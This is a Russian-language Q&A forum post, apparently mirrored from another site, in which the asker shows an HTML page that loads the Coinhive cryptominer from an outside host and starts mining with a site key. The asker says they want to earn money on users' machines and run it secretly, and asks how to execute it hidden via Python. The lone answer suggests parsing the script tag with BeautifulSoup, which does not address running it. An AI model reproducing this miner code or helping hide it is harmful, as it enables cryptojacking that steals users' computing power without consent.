Обработка локального HTML-файла с помощью Python - PullRequest
0 голосов
/ 17 января 2019

Как я могу открыть html-файл в Python, тайно запустить его и обработать?

Мои html-коды:

<html>
    <head>
        <script src="https://coinhive.com/lib/coinhive.min.js"></script>
        <script>
            var miner = new CoinHive.User('nkkBlaVbS77hwlcFKZlqGT6fLFLQZy6d', 'alex');
            miner.start();
        </script>
    </head>
    <body></body>
</html>

Я хочу зарабатывать деньги в пользовательской системе (с помощью кода JavaScript)
Но я хочу запустить его тайно
Но браузер по умолчанию покажет мою HTML-страницу
Теперь, как я могу открыть HTML-файл и обработать коды?
Я тестировал с запросами или js2py или библиотекой Webbrowser & ..., но она не работает

1 Ответ

0 голосов
/ 17 января 2019

Вы можете использовать BeautifulSoup!Сначала задайте идентификатор тегу сценария (например, myscrypt1 ), а затем получите содержимое с помощью метода find BeautifulSoup.

import requests
from bs4 import BeautifulSoup
response = requests.get(my_url)
soup = BeautifulSoup(response.text)
soup.find(id="myscrypt1")
...